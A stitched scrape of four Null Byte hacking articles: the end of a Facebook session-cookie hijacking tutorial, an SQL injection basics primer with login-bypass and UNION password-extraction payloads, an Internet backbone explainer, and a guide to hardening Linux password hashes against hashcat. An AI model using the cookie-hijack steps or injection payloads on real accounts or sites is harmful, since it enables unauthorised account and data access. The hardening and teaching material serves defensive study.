Wireshark. Search for a cookie that contains the text GET. Locate it, click on it with the left mouse button, select copy, select bytes, select printable text only.Wireshark result. The one you need is in the black circle.Now go to Wireshark and go to Facebook. Make sure you're NOT logged in. If you are, go to settings and delete all the cookies. Then go back to the Facebook log-in page, press[ALT]+C, and paste the cookie. PressOKandrefreshthe page.Here you can clearly see the cookie injector script input box.If my magic worked, you should see the main Facebook timeline. If not, then you've done something wrong.My Final CommentsThis hack may seem advanced, but it's actually really easy. Once you break down all the steps, it's a piece of cake! :DNow that you've done this, it should be clear that Facebook security isn't very strong :PGood luck, my fellow hackerians, and I'll see you next time!Don't forget to give kudos andfollow mefor more hacking tutorials. Also, if you have any questions, don't be afraid to ask them!Th3skYf0xWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack Any Account That Has Recovery via Phone Option Enabled (SMS) On Android:How To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Hack LAN passwords with EttercapBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:The Essential Skills to Becoming a Master HackerBecome an Elite Hacker, Part 1:Getting StartedNews:Funniest Hacks in HistoryAdvice from a Real Hacker:The Top 10 Best Hacker MoviesHow To:You Can Play Assassin's Creed Rebellion on Your iPhone Right Now — Here's HowHow To:Hijacking Cookie SessionsHow To:Elevate a Netcat Shell to a Meterpreter Session for More Power & ControlGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Prevent Social Networks from Tracking Your Internet ActivitiesNews:Student Sentenced to 8mo. in Jail for Hacking FacebookCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsThe Social Network Wars:Google+ vs FacebookCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Get YouTube's New Layout Today with a Simple JavaScript HackHow To:Conceal a USB Flash Drive in Everyday ItemsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsGoodnight Byte:Coding a Web-Based Password Cracker in PythonForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:How Hackers Steal Your Internet & How to Defend Against ItSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordMastering Security, Part 1:How to Manage and Create Strong PasswordsNews:The Past Two Days (News Clips), May 31Community Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker Training |
SQL Injection 101: Database & SQL Basics Every Hacker Needs to Know « Null Byte :: WonderHowTo | The key to becoming a competent white hat is knowing how the technology that you are trying toexploitactually works. SQL injection is one of the most common methods of attack used today and also one of the easiest to learn. In order to understand how this attack works, you need to have a solid grasp of ... you've guessed it ... SQL.This series will start at the bottom with the fundamentals of SQL and SQL injection, moving on to database identification and more advanced techniques, and finally closing with methods used to prevent and mitigate these types of attacks.What Is SQL Injection?SQL, which stands for structured query language, is a standard language used for retrieving and manipulating data in a relational database management system (RDBMS). Data is accessed through the use of queries, which allow information to be created, read, updated, and deleted (you will often see web applications referred to as CRUD apps for this reason).Databases can be used in a variety of situations, but one of the most common configurations is a database serving as the backend to aweb application. When certain actions are performed, such as logging in or searching, queries are sent from the web app to the database.Don't Miss:The Essential Newbie's Guide to SQL Injections & Manipulating Data in a MySQL DatabaseInjection is allowed to occur when input fields are not properly sanitized or escaped. An attacker can enter malicious SQL commands in order to access data that should otherwise be out of sight. SQL injection is generally considered to be high impact because it allows attackers to retrieve sensitive information, tamper with data, destroy data, or evenescalate privilegesand issue OS commands on the server.Generally, any kind of input on a webpage is potentially vulnerable to SQL injection because that is where it interacts with the database. Authentication forms where the user logs in with a username and password are the most common types of input that are exploited but search forms, contact forms, andfile uploadsare all potential targets for injection.In the first part of this series, we will explore the basics of SQL in order to better understand the types of attacks that are performed.Anatomy of a DatabaseData contained in a relational database is stored in objects called tables. These tables are the virtual representation of relations between different elements, which consist of rows and columns. Rows, called records, contain data for every single entry in the database. Fields, which are the columns of the table, represent a specific piece of information for every record. This is better illustrated in the followingUserstable:This table contains three records and four fields; each user in the database is given an ID, Name, Username, and Password. In reality, tables are much larger than this and can contain millions of records, and the database itself can hold just as many tables. You can see how valuable SQL injection is to an attacker with this much data ripe for the picking.Data Types & OperatorsIn order to understand the data that we are working with, we need to knowthe different types of data utilized in SQL. Although exact data types vary between different database systems, in most cases, they are similar enough to tell what they are; usually, they are categorized by text, number, and date.Operators allow us to manipulate and interact with data in SQL. There arefive main categories of operators: arithmetic, bitwise, comparison, compound, and logical. Most of these are similar to other programming languages, but a few caveats do exist.Don't Miss:How to Attack Web Applications with Burp Suite & SQL InjectionStatements & SyntaxSQL statements are the code that is passed to the database in order to retrieve or modify data. Let's take a look at the following query and break it down:SELECT * FROM Users WHERE Name='John Smith';The first part of this statement (SELECT * FROM Users) selects all of the fields from theUserstable. TheWHEREclause specifies that we only want to see information from the record where"John Smith"is in theNamefield.SQL uses single quotes for strings, although most database systems will permit double quotes, and the semicolon marks the end of the statement. It should be noted that keywords, like SELECT and WHERE, are case insensitive.Comments in SQL can be written as single line or multiline:--this is a single line commentSELECT * FROM Users;/*this is amulti-line comment*/SQL injection exploits the way comments are handled by rendering certain parts of the query unnecessary. The following injection bypasses the need to input a password:SELECT * FROM Users WHERE Username='' or 1=1-- AND Password='';This will return all the records from the database since an empty string or1=1always evaluates to true, and the double dashes (--) comment out thePasswordfield.There are also keywords that exist to make arranging data easier such as MIN and MAX, BETWEEN, and ORDER BY.Let's look at the following table calledLoginSessions:Suppose we wanted to know who was logged in the longest and when — the query below would return the ID, username, and the shortest and longest session between two dates:SELECT ID, Username, MIN(SessionLength), MAX(SessionLength)FROM LoginSessionsWHERE LoginDate BETWEEN '2018-01-01' AND '2018-05-01'GROUP BY IDORDER BY MAX(SessionLength) DESC;GROUP BYconsolidates the rowsBY ID, andORDER BY MAX(SessionLength) DESCshows us the user with the longest session first (descending as opposed to ascending).Other useful statements include INSERT INTO, which inserts new records into a table, UPDATE, which updates existing records in a table, and DELETE, which is used to delete records in a table. These types of queries can be useful for SQL injection when you want to do more than just retrieve information from the database.An attacker could insert a new record indicating that they had bought something from an online store, for example, and claim that they never received the product and be compensated for it. If they really wanted to cause maximum damage, the DROP statement could be used. DROP TABLE will remove an existing table in the database, while DROP DATABASE will remove the entire database itself.Joins & UnionsJoins are used to combine rows from different tables when there is a field related between them. Here is ourUserstable from before:And a new table calledLogins:The following SQL statement returns the date Bob Jones last logged in:SELECT Users.Username, Logins.Date FROM UsersINNER JOIN Logins ON Users.ID = Logins.ID;AnINNER JOIN, or simply JOIN, like the above will return records that have matching data in both tables. A LEFT JOIN returns all records from the left table as well as records that match in the right table, while a RIGHT JOIN returns all records from the right table as well as matched record in the left table. A FULL JOIN will return all records that match in either the left or right table. Although joins aren't required for SQL injection, they can prove very useful when extracting information across tables after you've found your way in.UNION is used to combine distinct data from two or more SELECT statements. Each SELECT statement must have the same data types, the same number of columns, and they must be in the same order. UNION ALL does the same thing, but it won't eliminate duplicate rows in cases where the same data exist in both of the unioned tables. Let's look at an example using theUsersandAdminstables:The following SQL statement would provide passwords from both users and admins:SELECT Password FROM UsersUNIONSELECT Password FROM Admins;Obviously, this wouldn't be a normal query that is run against the database, but if we were allowed to inject this, we could obtain the admin passwords or any other information that isn't usually accessible.Stay Tuned for More on SQL Injection BasicsNow that we have a better understanding of the fundamentals of SQL, we can use that knowledge to perform more advanced SQL injection. Inthe following part of this series, we will explore methods to reveal more information about a database in order to narrow down attack vectors.Next Up:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful SQL InjectionFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byCaspar Rubin/Unsplash; Screenshots by drd_/Null ByteRelatedSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:SQL Injection! -- Detailed Introduction.How to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedSQL Injection 101:Advanced Techniques for Maximum ExploitationSQL Injection 101:How to Avoid Detection & Bypass DefensesSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1Become an Elite Hacker Part 4:Hacking a Website. [Part 1]How to Hack Databases:Hunting for Microsoft's SQL ServerNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Hack websites with SQL injectionHow To:Enumerate MySQL Databases with MetasploitHow To:SQL Injection Finding Vulnerable Websites..Coding with Typo:Structured Query Language (SQL) Part 1: What Is SQL?How to Hack Databases:Running CMD Commands from an Online MS SQL ServerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Coding with Typo:Structured Query Language: (SQL) Part 2: Getting the EssentialsHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Protect Your PHP Website from SQL Injection HacksGoogle Dorking:AmIDoinItRite?News:PostgreSQL Quick StartHow To:Hack websites with SQL injection and WebGoatNews:Hardvard.edu Remote SQL 0day |
A Hitchhiker's Guide to the Internet: Today and Now, How It All Connects « Null Byte :: WonderHowTo | In thefirst part of this series, we took a factual and technical look at the history of the Internet. I explained how all of these wires and servers got here in the first place. Obviously, a firm did not just create and build the Internet around 1995! Now that we know how the Internet came to be, we can get into the really fun stuff—what the Internet looks like now!Well, that's not quite the network design I was talking about, but it does show what the Internet looked like back in 2007 before the great Facebook/MySpace War of '09. However, none of this would be possible if we didn't have an overarching scheme to connect the hardware in a way to allow all communication to happen relatively seamlessly.Sending an email to your friend is simple enough. But it's a whole 'nother story to multiplex video, audio, and data all over the world at the speed of light—on demand. The global Internet is truly a feat of engineering, and soon you will understand why.From a networking perspective, knowing this information and how it works will give you a better idea of what's happening under the hood, and it will allow you to work out issues and problems much more easily. What seems complex and daunting at first will be the springboard you use to get into the very gritty parts.The View from the TopTo start out, let's look at the Internet like a giant 3D blob of interconnected networks and nodes. At the very bottom of this is you and me and every other normal home user. Little home networks are pretty much the ends of the Internet, as most do not serve anything out, instead they simply browse and take in data. This might be an unconventional view, but I think it serves us well here.Now, when you turn on everything and try to visit a webpage, it doesn't look to my network for the resource. As we explained in ourlatest Hacker fundamentals article, sent requests check your home network and then ask the router for the correct path if it cannot be found locally. Now, we know what happens at the local level, but what happens from thewide area network level? How are these routes getting across the world?Turns out that your traffic is routed all across the world and actually not even as a whole, as it's broken into packets and those packets are sometimes sent on different routes to be reassembled upon receipt. But it doesn't just take random paths to the destination.In the photo above, do you see where some of the lines converge and seem to "connect'" other webs? Those are high speed physical links between geographic areas that connect some of the Internet's largestsubnetworks. Some of these are simply a benefit to speed and capacity, while others will cut off large areas of the Internet if severed. These links are called backbones.Backbones: The Autobahn of the InternetOn the macro scale of the Internet, we have high speed dedicated routes that are loosely calledbackbones. These backbones refer to one of the principal data routes between large, strategically interconnected networks and core routers on the Internet. An backbone is a very high speed data transmission line that provides networking facilities to relatively small, but high speed Internet service providers all around the world.Backbones are the largest data connections on the Internet. They require high speed bandwidth connections and high-performance servers/routers. Backbone networks are primarily owned by commercial, educational, government, and military entities because they provide a consistent way for Internet service providers to keep and maintain online information in a secure manner.Some of the largest companies running different parts of the Internet backbone include UUNET, AT&T, and Sprint. Their routers are connected with high speed links and support different range options like T1, T3, OC1, OC3, or OC48. Also of note are the major underwater fiber optic cables ran under the world's oceans, as shown below.A few key features of an Internet backbone include:ISPs are either connected directly to their contingency backbones or to some larger ISP that is connected to its backbone.The smaller networks are interlinked to support backup that is required to keep the Internet services intact in case of failure. This is done through transit agreements and peering processes.Thetransit agreementis a monetary contract between several larger and smaller ISPs. It is initiated to share traffic loads or to handle data traffic in case of a partial failure of some networks. In peering, several ISPs also share features and traffic burden.Core RoutersIn a nutshell, acore routeris a very large and very powerful router that handles huge amounts of traffic from various high speed lines and routes.While the Internet has no center, some pieces of infrastructure are more important to smooth global functioning than others. The links running into Google's data centers are more important than your home cable modem. The core utilities of the Internet, such asDomain Name Systemroot servers and core routers, are more critical still.Because it's a network of networks, the Internet is resilient to damage. In networking terms, each independently operated network is known as anAutonomous System. Where two or more of these Autonomous Systems meet to exchange traffic, powerful core routers handle the data moving. It was this idea that led to the false rumor that Anonymous was going to attack these core routers to sever connections. Though the rumor was untrue, it is possible, asthis white papershows.Basically, core routers do what your little AT&T 2Wire router does, but on a much larger scale.From Backbones to ISPsWith these high speed links between geographical locations set, companies are able to branch capacity from them into smaller and smaller pipes. What will happen is a higher tier ISP will lease the bandwidth from above, then in turn re-lease the bandwidth out below it.Once these links make it to the commercial ISPs, they branch out to your home network, through your personal router, and eventually to your computer.In ClosingAnd that's it. From ARPAnet to Facebook. From Apple to Anonymous. This is the machine that churns in the background making the world turn. Hopefully some of the mystery behind it has been exposed and transformed into to a better understanding.Do you have anything else to add to this? Leave me a comment below and check out ourforum.Articles like this and more! News from around the security industry—follow us onTwitter!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages byGThub,Mattia,CraigB,SOConlineRelatedNews:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Do a hitchhiker trick on your BMX bikeNews:BBC Earth Releases 'Micro Kingdoms: Senses' Insect Experience on Magic Leap 1How To:Bridge a network connection from a laptop to an XboxHow To:Extend a (Hacked)Router's Range with a Wireless Adapter.News:Google Beat Apple in the Next-Gen Smartwatch Race—And It Looks IncredibleHow To:Setup a Wi-Fi connection on a Windows 7 desktop or laptopHow To:Fold a towel into an elephant shapeNews:The HitchhikerHow To:A Hitchhiker's Guide to the Internet: A Brief History of How the Net Came to Be7/9- Fri Pick:Harlem / The Black Apples / Audacity @News:Polanski's Knife in the WaterHow To:Bypass a Local Network Proxy for Free InternetPlaces to Stay:Japanese Internet Cafes | Photo GuideThe Ultimate Guide:Diagnosing & Fixing Connection Issues, Part INews:Privacy in the InternetHow To:Assign a Static IP Address in Windows 7How To:Chain VPNs for Complete AnonymityNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHow To:Access Wikipedia During Today's SOPA BlackoutHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:Play BF3 Today! (1 day early)How To:Go Caroling with Google Now's Christmas Song Karaoke Cheat Sheet for AndroidNews:Get Inspired! 30 Otherworldly Examples of Insect PhotographyHow To:Connect your laptop to the internet from a WiFi spotUrgent:If You Own an Older Kindle, You Must Do This ImmediatelyMastering Security, Part 2:How to Create a Home VPN TunnelHow To:A Self-Protection GuideNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Join the Fight Against SOPA and PIPAHow To:Code a Basic TCP/IP Client & Server Duo in PythonHow To:Make a Redstone Death MachineHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Share Your Laptop's Wireless Internet with Ethernet Devices |
Locking Down Linux: Harden Sudo Passwords to Defend Against Hashcat Attacks « Null Byte :: WonderHowTo | Hacker's are always looking for new ways to exploit systems and exfiltrate passwords, even in hashed form. Sophisticated brute-force attacks powered by high-end GPUs can performmillions of password attempts per second. But Ubuntu and Debian users aren't completely helpless. There are ways to harden the hashed password to better defend againstHashcat attacks.Why Would an Attacker Steal My Sudo Password?Root privileges are usually required to access the /etc/shadow file in Ubuntu and Debian systems where hashed passwords are stored. An attacker extracting this data would suggest they already have root privileges. Root-level access could be acquired without knowing the target's password byexploiting the operating systemor physically exploiting the device.For example, Linuxkernel vulnerabilitiesare disclosed several times a year and never require knowing the target's password to gain a root shell. Likewise, the single-user mode feature is often abused toembed nefarious cronjobs. It can be configured with only a few minutes of physical access to the target device and doesn't require a password.Don't Miss:Steal Ubuntu & macOS Sudo Passwords Without Any CrackingIf an attacker has acquired root access by other means, why would they still need the sudo password? Well, there could be many reasons for this. The attacker may be trying to do one of the following.Pivot to other devices or services on the network, as well as learn the password scheme in use (e.g., Hunter321).Dump encrypted passwords stored in Chrome or Firefox browsers. These encrypted passwords are sometimes secured by the user's login password.Check for password reuse against popular social media and banking websites.Physically access the device to log in. If the attacker used single-user mode to extract the password hash, they may be trying to crack it to log in when the target device is unattended.There's really no telling how far an attacker can pivot with a single password that's been reused across accounts, websites, and network services.Don't Miss:Using Ubuntu as Your Primary OS (Network Attack Defense)How Debian & Ubuntu Securely Store PasswordsThe /etc/shadow file stores information about the target's password,salt,hashing algorithm, password expiration date, and so on. You can execute the belowgrepcommand using the$USERvariable, and the terminal will automatically search for the target's username in the /etc/shadow file.sudo grep $USER /etc/shadowtokyoneon:$6$oHP9lHDM$DyxrXl6U/t3A91eA4FWpc4n/Tn3tI.Cb1YRZT/p76kdcyTUiWTNMBDp1YrCFpJJtBRxfh71aGOZZHcXfY9qeN0:17762:0:99999:7:::The sections are separated by colons (:) as shown below. We'll be focusing on section 2. The other sections aren't relevant to defending againstHashcat(brute-force) attacks, so I'll skip over them for now.tokyoneon : $6$oHP9lHDM$DyxrXl6U/t3A91eA4FWpc4n/Tn3tI.Cb1YRZT/p76kdcyTUiWTNMBDp1YrCFpJJtBRxfh71aGOZZHcXfY9qeN0 : 17762 : 0 : 99999 : 7 : : :
----1-----|-----------------------------------------------------2----------------------------------------------|---3---|-4-|---5---|-6-|-7-|-8-|Section 2 is further separated by dollar signs ($) into three section.$6$oHP9lHDM$DyxrXl6U/t3A91eA4FWpc4n/Tn3tI.Cb1YRZT/p76kdcyTUiWTNMBDp1YrCFpJJtBRxfh71aGOZZHcXfY9qeN0
|1|----2---|---------------------------------------3----------------------------------------------|These sections consist of the hash type (1), salt (2), and hashed password (3). The6hash type indicatesSHA-512, but type5(SHA-256) is also common. Salts are random values used to help create strong, unique hashes. By today's standards, this hashed password is stored in a relatively secure form. But it can still become the subject of a targeted brute-force attack.Late-2018's EVGA GeForce RTX 2080 Ti GPU (Best for Password Cracking:): Buy fromAmazon|Best Buy|WalmartStep 1: Test the Hash Against HashcatOut of curiosity, I wanted to learn how many passwords a second Hashcat can perform against the above hash created in Ubuntu 18. This was tested with a genericNvidia GeForce GTX 1060 GPU. The GPU isn't high-end, but standard in many consumer desktops these days. It wouldn't be unreasonable to believe most hackers with dedicated password-cracking machines are capable of performing more computations per second with a superior GPU.hashcat -a 3 -m 1800 /tmp/password_hash.txt ?l?l?l?l?l?lhashcat (v5.1.0) starting...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1060 3GB, 754/3018 MB allocatable, 9MCU
Session..........: hashcat
Status...........: Running
Hash.Type........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: $6$oHP9lHDM$DyxrXl6U/t3A91eA4FWpc4n/Tn3tI.Cb1YRZT/p...Y9qeN0
Time.Started.....: Tue Mar 5 02:25:23 2019 (15 secs)
Time.Estimated...: Tue Mar 5 03:36:19 2019 (1 hour, 10 mins)
Guess.Mask.......: ?l?l?l?l?l?l [6]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 72631 H/s (403.13ms) @ Accel:1024 Loops:512 Thr:32 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 884736/308915776 (0.29%)
Rejected.........: 0/884736 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:3-4 Iteration:3072-3584
Candidates.#1....: barier -> bjuhgi
Hardware.Mon.#1..: Temp: 62c Fan: 35% Util:100% Core:1847MHz Mem:3802MHz Bus:16
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>The above Hashcat command is performing aMask attack(-a 3) using the SHA-512 Unix hash type (-m 1800) with every possible six-letter lowercase (?l) combination. As we can see, it can perform 72,631 hashes per second (H/s). At this rate, it would only take one hour to try every six-letter combination of lowercase characters.And as we learned previously, six-character passwords are extremely common. At 72,600 H/s, cracking eight- and nine-character password hashes are very much within the realm of reality with a generic Nvidia GPU.Don't Miss:Crack Shadow Hashes After Getting Root on a Linux SystemStep 2: Harden the Password HashOf course, using a long and complex password would thwart most brute-force attacks. But let's take a different approach by increasing the hash's "SHA-rounds." SHA-rounds (better known asiterations) are used as a "slowdown factor," which essentially forces CPUs and GPUs to take significantly longer when computing a single password attempt. The higher this value is, the longer Hashcat will have to work to crack the hash.By default, Ubuntu and Debian use the SHA-512 crypt method with 5,000 SHA-rounds. As we see in the above Hashcat output, 5,000 SHA-rounds equates to almost 73,000 password attempts per second. Which isn't good news for Ubuntu and Debian users. Fortunately, the number of SHA-rounds can be manually increased to better defend against brute-force attacks. This can be done using thechpasswdcommand.Chpasswd, likepasswd, is a password management utility. It was designed to change many passwords in bulk while being able to specify the hash type and number SHA-rounds (among other things). To harden a password hash with chpasswd, use the below command.Warning (Read Before Proceeding):If your CPU is older than an Intel i3, don't use more than 750,000 SHA-rounds. Intel i7 users should not exceed 30,000,000 SHA-rounds. Significantly increasing this value can require a lot of CPU processing power and take minutes (maybe hours) to complete. Interrupting the command before it's finished could cause the system to become unstable. Use the below command with caution as setting the value too high can make it difficult to log in or break the system. Gradually increase the number of SHA-rounds if you wish to test the limitations of your CPU.sudo chpasswd -s 10000000 -c SHA512 <<< username:password; history -cThe above chpasswd command will use 10,000,000 SHA-rounds (-s) with the SHA-512 crypt method (-c). The<<<characters denote a string being used as the input data. In this case, the input is the username and desired password. To prevent the new password from appearing in the terminal history, append (;) thehistorycommand to clear (-c) it.Now,grepthe /etc/shadow file again to find a new section between the hash type and salt that readsrounds=10000000. This is an indication the chpasswd command was successful.sudo grep $USER /etc/shadowtokyoneon:$6$rounds=10000000$h6JNZ/CRSFfBbu$4ZcBt2md4dd3GsrL7jUv/269dMPP4k9PEQVbMOnThbRC3kFnOKIjHHDK3qg/kh1BNcPNU9EJtfggqPn4/8nSN0:17960:0:99999:7:::Step 3: Test Hashcat Against 10,000,000 SHA-RoundsLet's feed this new hash with 10,000,000 SHA-rounds into Hashcat and observe the number of password attempts it can perform.hashcat -a 3 -m 1800 /tmp/hardened_password_hash.txt ?l?l?l?l?l?lhashcat (v5.1.0) starting...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1060 3GB, 754/3018 MB allocatable, 9MCU
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Type........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: $6$rounds=10000000$cHi6OvAYRy$x8Z0kLn.JYAPOWQkH3RMy...2i3G30
Time.Started.....: Tue Mar 5 03:16:28 2019 (7 secs)
Time.Estimated...: Tue Jul 30 05:46:22 2019 (147 days, 1 hour)
Guess.Mask.......: ?l?l?l?l?l?l [6]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 24 H/s (410.36ms) @ Accel:1024 Loops:512 Thr:32 Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 0/308915776 (0.00%)
Rejected.........: 0/0 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8704-9216
Candidates.#1....: sarier -> sjuhgi
Hardware.Mon.#1..: Temp: 56c Fan: 29% Util:100% Core:1873MHz Mem:3802MHz Bus:16
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>Only a mere 24 hashes per second can be guessed against this hardened hash, which can makeweak passwords like "zxcvbn"resilient against Hashcat, taking weeks to crack the hash.Conclusion: Pick an Appropriate SHA-Rounds ValueNow, this isn't a recommendation or argument to use weak passwords with 10,000,000 SHA-rounds. Reader's should increase the number of SHA-rounds in addition to using strong passwords. I'm using an absurdly high value in this article to demonstrate how far this kind of hardening can be taken. ButanySHA-rounds value over the default 5,000 will help defend against brute-force attacks. Even if only a little.SHA-round values anywhere over 1,000,000 will most likely make brute-forcing a completely insufficient attack vector. Higher values make it very difficult for an attacker on the system to learn the password. Increasing the SHA-rounds greatly diminishes the number of passwords per second Hashcat can perform.The major disadvantage to increasing the SHA-rounds is the amount of CPU processing required to execute a single sudo command or log in to the account. Higher SHA-rounds (e.g., 10,000,000) can take up to 10 seconds to compute a sudo command on a modern Intel i7 CPU. Older CPUs could take significantly longer. The trick is to find a sweet spot where it only takes about two seconds to compute the SHA-rounds. This way, brute-force attackers are still thwarted but it doesn't takeforeverto execute a single sudo command.If you enjoyed this article, follow me on Twitter@tokyoneon_andGitHubto keep with my current projects. For questions and concerns, leave a comment below or send me a tweet.Don't Miss:Using Ubuntu as Your Primary OS (Application Hardening & Sandboxing)Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by tokyoneon/Null ByteRelatedHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Abuse Vulnerable Sudo Versions to Get RootHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)Hacking macOS:How to Hack a Mac Password Without Changing ItHow To:Use Hash-Identifier to Determine Hash Types for Password CrackingHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Crack Shadow Hashes After Getting Root on a Linux SystemNews:'Beast' Cracks Billions of Passwords in SecondsHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Steal Ubuntu & MacOS Sudo Passwords Without Any CrackingHow to Hack Like a Pro:Getting Started with MetasploitHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:Hack Wi-Fi Networks with BettercapHow To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHow To:Defend Yourself Against an Attacker with a KnifeHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Packet Injection Capable Drivers in LinuxHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Recover WinRAR and Zip PasswordsHow To:Get Free Wi-Fi from Hotels & MoreHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:Complete Arch Linux Installation, Part 2: Graphical User Interface & PackagesHow To:Run Windows from Inside LinuxHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Recover Deleted Files in LinuxNews:Performance Hacks & Tweaks for LinuxNews:Cannot find windows loader after Linux install?Secure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenHow To:Share Your Laptop's Wireless Internet with Ethernet DevicesHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Use Wireshark to Steal Your Own Local PasswordsNews:Flaw in the Latest Linux Graphical Server Allows Passwordless Logins |
